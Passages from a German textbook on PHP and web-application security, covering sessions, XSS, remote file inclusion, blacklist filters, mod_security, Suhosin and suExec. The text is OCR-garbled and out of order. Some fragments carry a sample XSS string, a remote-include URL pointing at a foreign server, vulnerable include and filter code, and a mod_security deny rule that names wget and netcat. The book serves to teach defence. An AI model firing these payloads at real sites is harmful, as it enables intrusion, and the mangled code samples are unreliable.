mod_chroot c 9 http user mode linux sourceforge net 10 http core segfault pl hobbit mod_chroot 10 12 Fazit 243 gefolgt von einem Apache Neustart k
259. es sion zu verl ngern sollten Sie bei solchen Anwendungen nicht imple mentieren weder eine Automatisch anmelden Option noch auto matisierte Seitenabrufe per JavaScript um die Session g ltig zu halten Bei normalen Anwendungen also Foren Blogs oder hnlichen webbasierten Systemen ist eine Session Lebensdauer von 20 Minuten vertretbar oft werden auch 60 Minuten verwendet Eine Option mit der der Anwender ber ein Cookie dauerhaft eingeloggt bleiben kann 7 6 Bruteforcing von Sessions 179 wird hier oft als zus tzlicher Nutzen empfunden sollte aber auch mit Bedacht eingesetzt werden 7 6 _ Bruteforcing von Sessions Viele Applikationen verf gen ber Mechanismen die ein Bruteforcing von Login Mechanismen verhindern Diese Mechanismen reichen vom Sperren auff lliger IP Adressen bis hin zur Deaktivierung eines beson ders h ufig angegriffenen Accounts Eine Abwehrvorrichtung gegen das Erraten oder Bruteforcing von Session IDs gibt es aber meist nicht Das bedeutet dass ein Angreifer oft unbemerkt eine Brute Force Atta cke auf eine Applikation durchf hren kann Testen kann man dies indem man mit einem zwischen Browser und der Webapplikation geschalteten Proxy verschiedene Session IDs probiert und diese an den Server sendet Wird der Account oder die IP Adresse nicht gesperrt ist die Appli kation f r Brute Force Attacken oder Erraten von Session IDs anf llig Eine M glichkeit dieses Problem in den Gri
260. es bei benutzerdefinierten Regeln stets passieren dass Sie bei aller Sorgfalt schlicht eine M glichkeit bersehen haben die ein sehr motivierter Angreifer im Zweifelsfall findet und ausnutzt Nichts ist gef hrlicher als ein falsches Gef hl der Sicherheit 12 3 3 Installation Zur Installation von mod_security ben tigen Sie einen installierten Apache Webserver Version 1 3 oder 2 mit DSO F higkeit In der Regel ist jeder ber ein Paketmanagement Tool oder aus dem Quell code erstellte Apache Webserver DSO f hig Sie k nnen das leicht berpr fen indem Sie das Skript apxs APache eXtenSion tool suchen diese Datei dient dazu Module im Apache zu installieren und zu aktivieren und existiert folglich nur bei modulf higen Webservern Eine unter Unix mit dem Parameter prefix usr local apache aus den Quellen kompilierte Version von Apache 1 oder 2 legt diese Datei im Verzeichnis usr local apache bin apxs oder usr local apache bin apxs2 ab Wurde der Webserver mit einem Paketmanagement Tool wie apt get oder YaST installiert finden Sie diese Datei oft unter usr sbin apxs Unter Windows ist apxs normalerweise in Programme Apache Group bin o zu finden Haben Sie herausgefunden ob Ihr Apache Webserver modulf hig ist und wo die richtige Version von apxs sich befindet ben tigen Sie zun chst noch den Quellcode f r mod_security Sie k nnen ein Paket im Format tar gz auf der Projekthomepage herunterladen Dieses Paket enth l
261. es Parameters hin Diese Fehlermeldung kann uns Auf schluss ber die verwendete Speicherm glichkeit f r die Daten geben z B ob eine Datenbank verwendet oder die Daten im Dateisystem abgelegt werden Ist in einer Webseite ein Formular vorhanden k nnen diese Sonderzeichen auch in die Eingabefelder eingegeben werden Die Reaktion des Servers wird dann hnlich sein Sind allerdings Formu larelemente vorhanden die vom HTML Entwickler vorbelegt wurden Radiobuttons Auswahlboxen usw ist eine nderung nicht mehr einfach ber den Browser m glich Hierzu muss das Formular auf der lokalen Festplatte gespeichert werden ndern Sie nun die URL im Attribut action des Form Tags auf eine absolute URL Die Angabe lt form action index php method POST gt wird so zu lt form action http www php sicherheit de index php method POST gt Nun k nnen die Inhalte der Formularelemente ge ndert werden und scheinbar fest vorgegebene Inhalte werden variabel lt form action http www php sicherheit de index php method POST gt lt input type radiobutton name auswahl value 00 gt lt select name auswahl2 gt lt option value 00 gt Auswahl 1 lt option gt lt option value 2 gt Auswahl 2 lt option gt lt select gt lt form gt Die bereits erw hnten Effekte auf dem Server sollten auch hier nach dem Abschicken des Formulars auftreten F r den beliebten Browser Firefox gibt es mehrere Plugins die f r
262. ese beim Kompilieren angeben Desweiteren wird f r den Skripting Support auch eine aktuelle LibLUA ben tigt Die Installation von mod_security 2 umfasst sechs Schritte 1 Laden Sie das Quellarchiv aus dem Downloadbereich von mod security org herunter eine kostenlose Registrierung ist erforder lich und entpacken Sie es in Ihr bliches Quellenverzeichnis 2 Wechseln Sie in das soeben erstellte Verzeichnis f r die mod_security Quellen z B modsecurity apache_2 5 2 und dort in das Unterverzeichnis apache2 3 Mittels configure with apxs usr local apache2 bin apxs kon figurieren Sie das Modul und teilen ihm den Pfad zu Ihrem apxs Skript mit 4 Nun kompilieren und installieren Sie mod_security make amp amp make install 5 http www modsecurity org documentation ModSecurity Migration Matrix pdf 6 http www modsecurity org download index html 12 3 mod_security 297 5 Bevor Sie den Webserver neu starten m ssen Sie noch mindestens drei Zeilen in Ihrer httpd conf hinzuf gen um das Modul zu la den und die LibXML sowie LibLUA im Apache Kontext verf g bar zu machen LoadFile usr lib libxml2 so LoadFile usr lib liblua5 1 so LoadModule security2 module modules mod_security2 so 6 Starten Sie nun den Webserver neu danach sollte mod_security 2 0 installiert sein Zur Konfiguration der Filter und des Moduls lesen Sie bitte die vorangegangenen Abschnitte beachten Sie aber auch die nderungen auf di
263. ets deaktivieren Diese Option kann in der php ini abgeschaltet werden Schalten Sie expose_php aus wo immer m glich Dieser Ansatz zur Unkenntlichmachung der PHP Version wird auch Security by Obscurity genannt und basiert auf dem Verschleiern und Verstecken von Informationen Trotz aller M hen gibt es keine hun dertprozentige M glichkeit die Verwendung von PHP zu verbergen Auch eine wirklich zuverl ssige Methode zur Ermittlung der PHP Ver 2 4 PHP Installation erkennen 25 sion bzw zur Feststellung ob berhaupt ein PHP Interpreter auf dem Server installiert wurde gibt es noch nicht Ein weiteres Indiz f r die Skriptsprache PHP ist das Vorhan densein bekannter PHP Anwendungen Oft k nnen Sie anhand der Versionsinformationen oder anhand ihrer Namen erkennen dass es sich um eine in PHP geschriebene Software handeln muss Ein Forumsskript ein Content Management System oder ein Blog die ffentlich im Internet verf gbar sind k nnen auf die Skriptsprache PHP hindeuten Bekannte Vertreter sind z B Typo3 WordPress Seren dipity phpBB oder auch das beraus weit verbreitete Datenbank Administrationsskript phpMyAdmin Die gr te Wahrscheinlichkeit herauszufinden ob PHP installiert ist liegt in der M glichkeit einen Fehler in der Applikation zu erzeu gen Dies kann durch unsinnige Eingaben wie z B Sonderzeichen 00 in Formularfeldern oder durch das Anh ngen dieser Sonderzei chen an die Paramet
264. eval und preg_replace mit dem Modifikator e sollten Sie vermeiden 3 3 4 Angriffe auf Dateisystemfunktionen Bei Dateisystemfunktionen handelt es sich um Funktionen die Dateien auf dem Server ffnen lesen und auch beschreiben k nnen Ist die Konfigurationsoption allow_url_fopen gesetzt k nnen auch Dateien von einem fremden Server ge ffnet werden Bei folgenden Funktionen sollten die bergebenen Parameter sehr sorgf ltig gepr ft werden fopen dateiname mode file_get_contents dateiname file_put_contents text dateiname file dateiname allow_url_fopen 62 3 Parametermanipulation system exec fpassthru Mit fopen im Schreibmodus oder file_put_contents k nnen im schlimmsten Fall Daten auf der Festplatte des Webservers berschrie ben werden Dies kann zu Datenverlust oder zu nderungen am Status eines Users f hren Der Angreifer kann sich indem er beispielsweise einen zus tzlichen Benutzer in eine Konfigurationsdatei einer Anwen dung einf gt Rechte verschaffen die er normalerweise nicht h tte Auch Defacements die Verunstaltung von Webseiten durch Cra cker werden oft durch unsichere Aufrufe von fopen verursacht Greifen Funktionen nur lesend auf Dateien zu gelten die gleichen Pr fungen wie bei den Include Funktionen Mithilfe einer Whitelist berpr fung sollte man nur die Dateien zulassen die man lesen m chte Bei Funktionen die schreibend auf Dateien zugreifen sollte zus
265. explizite Typumwandlung im Programmcode bezeichnet man auch als Cast aus dem Englischen Der zuk nftige Typ wird in vor dem umzuwandelnden Wert angegeben Checkboxen Checkbox engl f r Auswahlkasten Kontrollk stchen Optionsfeld ist ein Standardelement einer grafischen Software Benutzungsoberfl che Eine Checkbox hat in den meisten F llen zwei seltener drei Zust nde Zustand 1 Markiert wahr Zustand 2 Nicht markiert falsch Zustand 3 Nicht aktiviert CMS Content Management System Ein Content Management System ist ein System das sich ausschlie lich oder berwiegend mit der Publikation von Inhalten auf Webseiten besch f tigt Die Bandbreite der Funktionen der existierenden Systeme reicht vom Internetbaukasten zum einfachen Erstellen einer Homepage bis zur vollen Workflow Integration im Informationskreislauf Combobox Eine Combobox oder Combo Box ist ein Ausdruck f r ein Kombinations feld Bei der mit dem Textfeld kombinierten Listbox handelt es sich meis tens um eine Platz sparende einzeilige sog Drop down Listbox die sich erst beim Dr cken des zugeh rigen Buttons zeigt D Glossar 325 Content Type Der Content Type Header klassifiziert die Daten im Rumpf Body eines Dokuments Bei einer HTTP bertragung wird so z B dem Browser mit geteilt was f r Daten der Webserver diesem sendet Auch in E Mails wird der Content Type Header dazu verwendet die verschiedenen Daten zu klassifizieren Das Format d
266. f der Download Seite des Hardened PHP Projektes und speichern Sie ihn unter usr local src Anschlie end ent packen Sie den Quelltext und wechseln in das entsprechende Verzeich nis Wenn Sie PHP selbst kompiliert und installiert haben dann ber setzen und kompilieren Sie die Extension mit phpize configure make amp amp make install Sollten Sie ein PHP Paket ihrer Distribution verwenden berpr fen Sie vor diesem Schritt ob Sie auch die Header Dateien aus dem PHP Quelltext installiert haben Bei den meisten Distributionen existiert hierzu ein separates Paket das einen Namen wie php5 devel php5 dev oder php4 headers tr gt Nach der Installation m ssen Sie die Suhosin Extension noch akti vieren Kopieren Sie daher den Inhalt der Datei suhosin ini die Sie im Archiv finden in Ihre php ini passen die Konfiguration an Ihre W n sche an und starten Sie Ihren Webserver neu Wenn Sie nun phpinfo aufrufen sollte nach erfolgreicher Installation die Suhosin Extension in der Liste der installierten Extensions auftauchen siehe Abb 11 2 4 http www hardened php net download php 11 4 Zusammenarbeit mit anderen Zend Extensions 259 suhosin This server is protected with the Suhosin Extension 0 9 23 Copyright c 2006 2007 Hardened PHP Project Copyright c 2007 SektionEins GmbH suhosin apc_bug_workaround suhosin cookie checkraddr Abb 11 2 11 4 Zusammenarbeit mit anderen Zend Extensions Suhosin Extension in
267. fen werden Wenn Sie etwas mit verschiedenen HTML oder Skript Tags expe rimentieren stellen Sie schnell fest dass bei einem Standard PHP z B der String lt script gt alert Hallo XSS lt script gt nicht das gew nschte Ergebnis zeitigt Sie erhalten keine Ausgabe Das liegt daran dass PHP in der Standardeinstellung Anf hrungszeichen jeder Art also Single und Double Quotes escapt ihnen also einen Backslash voranstellt Aus lt script gt alert Hallo XSS lt script gt wird demnach lt script gt alert Hallo XSS lt script gt und das so ver nderte Skript wird kein JavaScript Parser ausf hren Angreifbarer Code zur Personalisierung so 4 Cross Site Scripting F nf problematische Anwendungen Es gibt Tricks dieses Escaping zu berlisten und bestimmte Strings trotzdem in seinem Schadcode unterzubringen dazu sp ter mehr 4 9 Angriffspunkte f r XSS Das eben beschriebene XSS ist ein etwas berspitztes Beispiel das jedoch leider nicht v llig aus der Luft gegriffen ist Bei fl chtigen Sicherheits berpr fungen fanden wir des fteren wahrlich haarstr u bende M glichkeiten das eine oder andere Popup anzeigen oder Cookies entwenden zu lassen Die Top Five der durch XSS angreif baren Stellen sehen wie folgt aus Suchformulare der Klassiker Suchen Sie einmal auf einer beliebigen PHP Site mit der internen Suchmaschine nach gt lt script gt Sie werden oft f ndig Sobald
268. ff zu bekommen ist die Sperrung von Accounts oder IP Adressen falls fter als x Mal innerhalb einer bestimmten Zeit ein Anmeldeversuch erfolgt ist Der Wert von x ist von der Anwendung abh ngig bei jeglichen sicher heitskritischen Applikationen sollte er nicht gr er als 3 sein Eine sol che Sperrung kann zu Beschwerden von Benutzern f hren deren Account nach einer Attacke gesperrt wurde diesen sollte man eine einfache aber effektive M glichkeit einr umen die Sperrung wieder aufzuheben Anwender die ber einen Proxy surfen werden von auf f lligem Verhalten anderer Benutzer hinter demselben Proxy unter Umst nden in Mitleidenschaft gezogen daher ist eine IP Sperre nicht immer das Mittel der Wahl Eine andere rein theoretische M glichkeit ist die Verwendung von vorget uschten Session IDs eine bestimmte Reihe von Session IDs wird von der Anwendung vergeben um Angreifer in eine Falle zu locken Falls nun ein Zugriffsversuch mit einer dieser bestimmten Ses sion IDs geschieht kann der Account sofort gesperrt werden Das ist allerdings die unsichere Variante von beiden denn der Angreifer kann auf Anhieb die richtige Session ID erraten Au erdem muss man Ein fluss auf das Aussehen der Session ID nehmen k nnen und abpr fen ob diese Session ID eine g ltige oder eine vorget uschte ID ist Man sollte aber auch an bereits identifizierte Angreifer denken d h an solche die sich erfolgreich in einer Applikation
269. figuration von mod_security eine Standardaktion festlegen die immer dann ausgef hrt wird wenn Sie zu einer Regel keine auszuf h rende Aktion definiert haben Dazu verwenden Sie die Konfigurations direktive SecFilterDefaultAction mit einer kommaseparierten Liste der auszuf hrenden Aktionen SecFilterDefaultAction deny status 403 log SecFilter und SecFilterSelective Grunds tzlich stehen Ihnen bei mod_security zwei verschiedene Filtermethoden zur Verf gung SecFilter und SecFilterSelective Diese Direktiven unterscheiden sich vor allem durch die Breite des Suchrau mes so k nnen Sie sehr feink rnige Regeln f r Ihre Webserver Fire wall erstellen Mit der Direktive SecFilter erstellen Sie eine Regel die den GET oder POST Request durchsucht Weitere Header Cookies Umge bungsvariablen o bleiben unangetastet Bei POST Anfragen wird jedoch noch der Inhalt der Anfrage nach dem Filterbegriff durchsucht Das Schl sselwort SecFilter erwartet ein bis zwei Parameter zum einen den regul ren Ausdruck f r die zu ermittelnde Zeichenkette zum anderen optional die durchzuf hrende Aktion M chten Sie Ihre Suche in einem gr eren Suchraum durchf hren verwenden Sie das Schl sselwort SecFilterSelective Neben den von SecFilter bereits durchsuchten Bestandteilen des HTTP Requests wer den hier wahlweise auch Header Umgebungsvariablen und Cookies 12 3 mod_security 289 durchsucht ja sogar die aktuelle Uhrzeit kann als
270. filter 9 Variablenfilter mit ext filter ihnen bergebene Eingabedaten auf G ltigkeit bez glich einer bestimmten Annahme validieren sie aber nicht ver ndern Zur porentiefen Reinigung von Benutzereingaben stehen momen tan die folgenden Filter zur Verf gung Entfernung von HTML und HTML Elementen mit optionaler Codierung von Sonderzeichen in ihre HTML Entit ten URL Encoding von Input Unzul ssige Zeichen aus einer E Mail Adresse entfernen Eine URL um unerlaubte Zeichen bereinigen Entfernung aller Zeichen die nicht in Integer oder Float Werten vorkommen k nnen Mit einer vom Entwickler definierten Callback Funktion k nnen wei tere s ubernde Filter definiert werden Die validierenden Filter umfassen G ltigkeitspr fungen f r fol gende Daten Integer und Float Zahlen URLs E Mail Adressen IP Adressen IPv4 und IPv6 Boolesche Werte Ben tigen Sie eine Pr fung f r andere Daten k nnen Sie mittels eines entsprechenden Filters auch gegen eine von Ihnen definierte Regular Expression pr fen so ist praktisch jede berpr fung m glich Da alle Filter mit einer nicht besonders leicht zu merkenden nume rischen ID und einer Konstanten bezeichnet werden ist eine bersicht ber die verf gbaren Filter recht hilfreich Der folgenden Tabelle k n nen Sie den Einsatzzweck und die Bezeichner jedes Filters entnehmen die genaue Syntax erfahren Sie dann in den n chsten Abschnitten 9 4 1 Validierende Filter Alle
271. fsszenarien und L sungen 59l HTTP Protokolls und etwas Ausprobieren kann man fast jeden Proxy oder Cache Server berlisten 3 3 3 Remote Command Execution Grundlage f r Remote Command Execution ist die unreflektierte Benutzung der include oder require Konstrukte Oft werden mit hilfe dieser Sprachkonstrukte Inhalte aus Dateien im Dateisystem nachgeladen um f r verschiedene Bereiche einer Webanwendung ver schiedenen Content bereitzustellen jedoch wird meist eine Pr fung der per URL Parameter bergebenen Seitennamen vergessen Dies ist f r praktisch jeden von der Webanwendung benutzten Parameter ganz gleich ob GET POST oder Header m glich Ein typisches Beispiel f r unsichere Includes lautet lt php include _GET page gt Die dazugeh rige URL hie e dann etwa http www test de page impressum php f r das Impressum der verwundbaren Site Hier findet keinerlei berpr fung des Inhaltes von _GET page statt sodass ein Angreifer jede Datei auf dem Server abrufen kann Mit http www test de page http andererserver de boese txt wird bei aktivierten URL Wrappern die praktisch jede PHP Installa tion standardm ig aktiviert hat eine Datei von einem fremden Ser ver geladen und von PHP interpretiert URL Wrapper sind erweiterte Zugriffsm glichkeiten f r den PHP Interpreter sodass Zugriffe nicht nur auf das lokale Dateisystem sondern auch in der Art http www fremder server
272. gehen das viel gepriesene Allheilmittel gegen Sicherheitsprobleme ist dieser leider nicht 10 5 1 Installation als Apache Modul PHP bringt f r eine ganze Reihe von Webserver Architekturen eigene Server APIs SAPI mit unter anderem auch f r jede aktuelle Apache Version Die Installation auf beiden Webservern gestaltet sich unter an Unix angelehnten Betriebssystemen weitgehend gleich In fast allen F llen werden Sie PHP als Dynamic Shared Object DSO installieren wollen das gegen ber statisch in den Server kompilierten Modulen keinen Geschwindigkeitsnachteil hat jedoch einfacher zu konfigurie ren und zu warten ist da nicht f r jedes PHP Update und derer waren es in den letzten Monaten einige der Webserver neu kompiliert werden muss Um PHP als Apache Modul zu konfigurieren muss zun chst Ihr Webserver mit Unterst tzung f r dynamische Module kompiliert sein einen Beispielaufruf f r Apaches configure Skript finden Sie hier configure prefix usr local apache sysconfdir etc httpd enable suexec enable module most suexec caller httpd server uid httpd enable shared max 10 5 Installation 215 Einen DSO f higen Apache Webserver erkennen Sie einfach daran dass sich neben den ausf hrbaren Dateien httpd htpasswd etc noch das Skript apxs im Bin rverzeichnis findet apxs ist brigens die Kurz form f r APache eXtenSion Tool Dieses Skript ben tigen Sie um dynamische Apache Modu
273. gelm ig neue Buffer Overflows in bekannten Anwendungen entdeckt So auch geschehen in dem in C geschriebenen PHP bei dem z B die Funktion htmlentities mit entsprechend pr parierten Strings zur Ausf hrung von Code mit den Rechten des Webservers der f r die Ausf hrung von PHP Skripten zust ndig ist gen tigt werden konnte Da diese Funktion in fast allen Webapplikationen eingesetzt wird um Nutzerdaten f r die Ausgabe vorzubereiten war die gefundene L cke mit etwas Geschick sogar aus der Ferne ausnutzbar Falls Sie sich f r einen tieferen Einstieg in die Materie interessie ren k nnen wir Ihnen das Buch Buffer Overflows und Format String Schwachstellen ans Herz legen das diese Art der Schwach stellen ersch pfend behandelt 11 1 2 Schutz vor Puffer berl ufen im Suhosin Patch Zur ck zum Suhosin Patch Ein erkl rtes Ziel des Patch ist es den Kern von PHP generisch gegen Buffer Overflows abzuh rten Da es aber nicht m glich ist den eigentlichen Puffer berlauf zu verhindern besteht der Schutz darin Puffer berl ufe zu erkennen und durch sofortigen Skriptabbruch zu verhindern dass ein Angreifer sie ausnut zen kann Das Mittel zum Zweck sind die sogenannten Canaries Falls Sie sich nun an Kanarienv gel erinnert f hlen liegen Sie gar nicht so falsch hnlich wie die Federtiere die fr her in Bergwerken als lebende Gasmelder eingesetzt wurden dienen Canaries im Speicher als Warnbaken Zuf llige von
274. gen gt eine leere Mail in diesem Fall an die Adresse webappsec subscribe securityfocus com 1 8 OWASP Eine der wichtigsten Ressourcen f r an Sicherheit interessierte Web entwickler ist das Open Web Application Security Project kurz OWASP Hier versammeln sich Programmierer aus aller Herren L n der um gemeinsame Richtlinien f r Web Security zu definieren und zu pflegen Eine sehr umfangreiche Bibliothek enth lt Checklisten How Tos und Filterbibliotheken f r verschiedene Sprachen Ein Ziel des OWASP ist es feste Standards zu definieren die jeder Entwickler befolgen sollte um ein Mindestma an Sicherheit f r seine Applikationen garantieren zu k nnen Das Projekt st tzt sich hierbei besonders auf die ISO Richtlinie 17799 bzw ihr britisches quivalent BS7799 Zus tzlich gehen die Projektmitglieder auf andere internati onale Standards f r Sicherheit im Allgemeinen und speziell f r Appli kationssicherheit ein f r jeden Entwickler dessen Software auf der ganzen Welt eingesetzt werden soll ist die Konformit t mit diesen Standards unverzichtbar Von besonderem Interesse f r jeden PHP Entwickler ist der Guide to Building Secure Web Applications and Web Services Dieses ber 200 seitige Dokument enth lt zahlreiche Anregungen und Best Practices f r Entwickler webbasierter Applikationen auch die Autoren dieses Buches konnten noch das eine oder andere vom OWASP Guide lernen Ein weiteres interessantes Dokument i
275. gene php ini bekommen kann die eine sehr viel feinere Ein stellung aller PHP Parameter an einer Stelle erlaubt Das ist auch not wendig denn die von mod_php gewohnte Konfiguration mittels Direktiven wie php_value ist bei einem CGI nicht mehr m glich Bei CGI PHP k nnen kundenspezifische Einstellungen nur ber php ini vorgenommen werden Die Installation von PHP als CGI ist insbesondere mit dem im n chs ten Abschnitt vorgestellten suExec die sicherste Installationsvariante und wird von den Autoren als Best Practice empfohlen 10 6 suExec Der zentrale Vorteil in einer Installation von PHP als CGI liegt darin dass Sie hier die Sicherheitsmechanismen von Apaches suExec nutzen k nnen Dieses Programm dient als Wrapper um CGI Skripte unter einer anderen UID und GID als der des Webservers ausf hren zu k n nen Praktisch bedeutet das dass der Administrator f r jeden virtuel len Host im Webserver einen eigenen Nutzer und eine Gruppe festle gen kann in die der Webserver mit einem Aufruf der Betriebssystem funktion setuid vor der Skriptausf hrung wechselt Nur Dateien die diesem Benutzer geh ren darf das CGI Skript dann manipulieren womit die typischen PHP Sicherheitsprobleme weitgehend gel st wer den k nnen Vor der Ausf hrung des CGI f hrt suExec noch einige zus tzliche Sicherheits berpr fungen durch um Missbrauch zu ver 2 http httpd apache org docs 1 3 suexec html 218 10 PHPintern hinder
276. genheiten Browserspezialit ten L ngenbeschr nkungen austricksen 94 4 Cross Site Scripting Standardkonform bleiben HTML ist oft berfl ssig den Gro und Kleinschreibung lassen sich variieren so wird aus dem Zeichen lt sowohl 8 amp 60 als auch amp X000003C Die Standard konformit t der Mozilla Browser wird ihnen nun zum Verh ngnis W hrend der Internet Explorer sich bei der H lfte der codierten Zei chen ahnungslos gibt zeigt Firefox 65 von 70 laut XSS Cheat Sheet m glichen Zeichenketten klaglos als Kleiner Zeichen an Wenn Sie mittlerweile etwas die bersicht verloren haben auf wel che Arten ein Angreifer XSS in Ihrer PHP Anwendung durchf hren kann Das war Absicht und sollte Ihnen verdeutlichen dass ein Filter nicht permissiv sondern restriktiv agieren sollte Sie k nnen n mlich auch sicher sein dass in der schnelllebigen Browserwelt die funktionie rende Blacklist von heute sp testens mit der n chsten Browserversion total veraltet sein wird Nicht s ubern sondern ablehnen hei t die Devise 4 11 Einfache Gegenma nahmen XSS begegnen Sie wie fast jeder anderen L cke in PHP Skripten auch Sie filtern einfach s mtlichen Input ausreichend Klingt doch gar nicht so schwer oder Im Grunde ist es das auch nicht man muss nur kon sequent durchhalten XSS ist einfach nur ein weiteres Metazeichenpro blem Die erste Regel im Kampf gegen XSS hat mit PHP zun chst gar nichts zu t
277. gerahmt Eine Location in der Apache Konfiguration bezeichnet eine relative URL und kann innerhalb eines VirtualHost Blocks stehen Eine solche Schachtelung kann wie folgt aussehen lt VirtualHost ihredomain de gt lt Location verzeichnis gt ParmguardEngine On lt Location gt lt VirtualHost gt 302 12 Webserver Filter f r Apache Konfigurationsdirektiven innerhalb des Location Blocks gelten in die sem Beispiel f r die URL http ihredomain de verzeichnis und alle darunterliegenden Dateien und Unterverzeichnisse M chten Sie also im Folgenden f r einen virtuellen Host mod_parmguard global akti vieren w rden Sie das mit einem Block lt Location gt tun Zwei Konfiguraitonsdirektiven sind f r den Betrieb von mod_ parmguard unerl sslich ParmguardEngine On off Mit dieser Direktive schalten Sie das berwachen von Parametern f r den jeweiligen Location Block ein oder aus ParmguardConfFile Dieser Direktive wird als Argument der abso lute Pfad zu der XML Konfigurationsdatei bergeben die f r den momentanen Location Block benutzt werden soll M chten Sie mod_parmguard f r alle virtuellen Hosts und alle URLs aktivieren erstellen Sie einfach in der globalen Serverkonfiguration einen Konfigurationsblock Empfehlenswert ist dieses Vorgehen aller dings nicht da Sie so gezwungen sind f r alle Anwendungen auf Ihrem Webserver ein gewaltiges XML Regelset zu schreiben das nur schwer wartbar ist S
278. gverfahren nun MDS SHA1 oder ein anderes sind diese als unsicher zu betrachten und zu ndern In diesem Fall m ssen Sie schnell reagieren alle Betroffenen informieren und ihnen neue Pass w rter zuteilen Um das Passwort direkt nach dem Versand des Login Skripts zu per MDS zu hashen wenden Sie einfach die Funktion md5 darauf an schon haben Sie einen 32 Byte langen MD5 Hash aus dem der Klar text nicht mehr ermittelt werden kann Aus dem Passwort test123 wird so der MD5 Hash cc03e747a6afbbcbf8be7668acfebees Es bietet sich an dies direkt in dem MySQL Statement zu erledi gen das auch die Benutzerdaten in die entsprechende Tabelle einf gt query INSERT INTO auth_users user pass VALUES username md5 password 6 http www antsight com zsl rainbowcrack 6 2 Authentisierungssicherheit 151 M chten Sie nun beim Login die Benutzerdaten berpr fen k nnen Sie sich den Aufruf einer MDS Funktion beim SQL Select ersparen query SELECT username FROM auth_users WHERE MD5 username md5 _POST user AND password md5 _POST password Speichern Sie Passw rter stets verschl sselt oder als Hashes in der Daten bank ab Haben Sie das Passwort Ihres neuen Benutzers erfolgreich gespeichert sollten Sie es ihm auch zukommen lassen Auch hier gilt was ISO 17799 definiert Require temporary passwords to be given to users in a secure manner sowie
279. ha nismen vor XSS SQL Injection oder anderen Angriffen zu dienen da 12 3 mod_security 291 diese auch ungefilterte Header User Agent Accept Language etc ausnutzen k nnen SecFilter ist jedoch gut geeignet um bekannte L cken und Probleme zu beheben die in auf Ihrem Server betriebenen PHP Anwendungen enthalten sind Der Autor verwendet SecFilter beispielsweise um alte Versionen des Portalsystems phpNuke gegen unberechtigte Seitenaufrufe aller Art zu sichern und um den Aufruf von Shell Kommandos per Query String zu verhindern Typische Filter um dies zu bewerkstelligen k n nen so aussehen SecFilter module shttp Tog deny Mit diesem Filter verbieten Sie die Inklusion von HTTP URLs in phpNukes Parameter module L cken in alten Versionen des freien Site Management Systems erlaubten so die Ausf hrung fremden Codes SecFilter usr sbin bin id wget netcat scp 1ynx kill ps tree top uname sh log deny Ist es einem Angreifer m glich ber einen unsicheren GET Parameter beliebige Shell Kommandos auf dem System auszuf hren so wird er zun chst versuchen ber Kommandos wie id das den aktuellen Benutzernamen und seine ID ausgibt oder uname das die Betriebs system und Kernelversion sowie den Hostnamen ausgibt festzustel len mit welchen Privilegien der Webserver ausgestattet ist und auf wel cher Art von Server das angegriffene PHP Skript l uft Das k nnen Sie mit obigem F
280. he f r diesen Betrag bietet die CA meist zus tzlich eine Versiche rung gegen Angriffe auf das Zertifikat Sie k nnen falls Sie die Kosten f r ein SSL Zertifikat scheuen auch ein sogenanntes Snake Oil Zertifikat also ein selbst erstelltes Dokument verwenden Der blumige Name r hrt daher dass in der englischen Umgangssprache Snake Oil also Schlangen l sinn bildlich f r unwirksame Tinkturen steht die von Scharlatanen ver kauft werden Zwar ist ein solches Schlangen l Zertifikat nicht v llig wirkungslos aber zur Identit tsfeststellung kann es nicht benutzt wer den Lediglich zur Verschl sselung also um die Kommunikation mit dem Webserver abh rsicher zu machen k nnen sie es verwenden Die Dokumentation zu OpenSSL verr t Ihnen wie Sie ein solches Schlan gen l Zertifikat erstellen Alternativ k nnen Sie auch bei der Initiative CaCert org Mitglied werden von einem oder mehreren anderen Mitgliedern die es inzwischen in jeder gr eren Stadt gibt auch einer der Autoren dieses Buches ist CaCert zertifiziert Ihre Identit t beglau bigen lassen und sich danach selbst beliebig viele SSL Zertifikate aus stellen alles kostenlos Zwar sind die Zertifikate von CaCert nicht in 5 http www cacert org 6 2 Authentisierungssicherheit den blichen Browsern installiert der Anwender erh lt also stets eine Warnmeldung die Verschl sselung funktioniert jedoch genauso gut wie bei den teuren gekaufte
281. he Abb 4 1 Im Diagramm wird das Vorgehen deutlich Der sowohl von au en ber das Internet als auch im LAN des Betreibers zug ngliche Webser ver wird mit einem XSS Angriff gef ttert Die inkriminierten Nut 4 7 XSS einige Beispiele srl Webserver Datenbank INSERT INTO bestellungen VALUES lt script gt alert m Admin Oberfl che name lt script gt alert XSS lt script gt SELECT name FROM bestellungen Angreifer Administrator zerdaten werden in die Nutzer und Bestellungsdatenbank gespeichert die ausschlie lich im lokalen Netzwerk verf gbar ist Ebenfalls aus schlie lich ber das LAN loggt sich der Administrator der Shopping Site in eine Verwaltungsoberfl che ein und wird bei Bearbeitung der gerade angelegten Bestellung mit dem vorher eingef gten XSS ange griffen Eine solche erfolgreiche Attacke die besonders mit den Mitteln von DOM siehe Abschnitt 4 13 sehr umfangreiche Folgen haben kann zeigt dass Sie bei der Implementierung Ihrer webbasierten Anwendungen keinen Unterschied zwischen LAN und WAN machen sollten beide sind XSS gef hrdet XSS Probleme enden nicht an Ihrem Gateway das LAN ist auch gef hrdet 4 7 XSS einige Beispiele Neben Angriffen auf Datenbanken durch SQL Injection ist das Cross Site Scripting vermutlich der am weitesten verbreitete Angriff ber haupt XSS L cken in PHP Software finden sich wie der sprichw rtli che Sand am Meer
282. he f r gepr fte Variablen definieren Regul re Ausdr cke zur berpr fung einsetzen berpr fung eines Passwortes auf g ltige Inhalte 74 3 Parametermanipulation 3 4 5 Blacklist Pr fung Bei Blacklist berpr fungen werden im Gegensatz zur Whitelist berpr fung alle bekannten b sen Daten und Zeichen in der Ein gabe erkannt eine Folge davon kann sein dass man versucht diese Eingabe g ltig zu machen Das d rfen Sie auf keinen Fall tun denn Sie k nnen nur bestimmen welche Zeichen g ltig sind auch wenn Sie meinen alle b sen Zeichen zu kennen bleibt immer ein Restrisiko eines der Zeichen zu vergessen Hierzu zwei Beispiele lt php dir str_replace dir system lIs la dir gt Durch eine Eingabe von etc passwd wird die Variable dir nach Ausf hren der str_replace Funktion zu etc passud lt php passwort str_replace passwort passwort str_replace passwort usw gt Hier filtern wir zwar die Sonderzeichen und vergessen aber z B das einfache Anf hrungszeichen lt php addslashes von Hand string str_replace string string str_replace string string str_replace string gt Hier werden alle Sonderzeichen die die PHP Funktion addslashes auch maskieren w rde mit einem Backslash versehen der NULL Wert 300 wurde allerdings verge
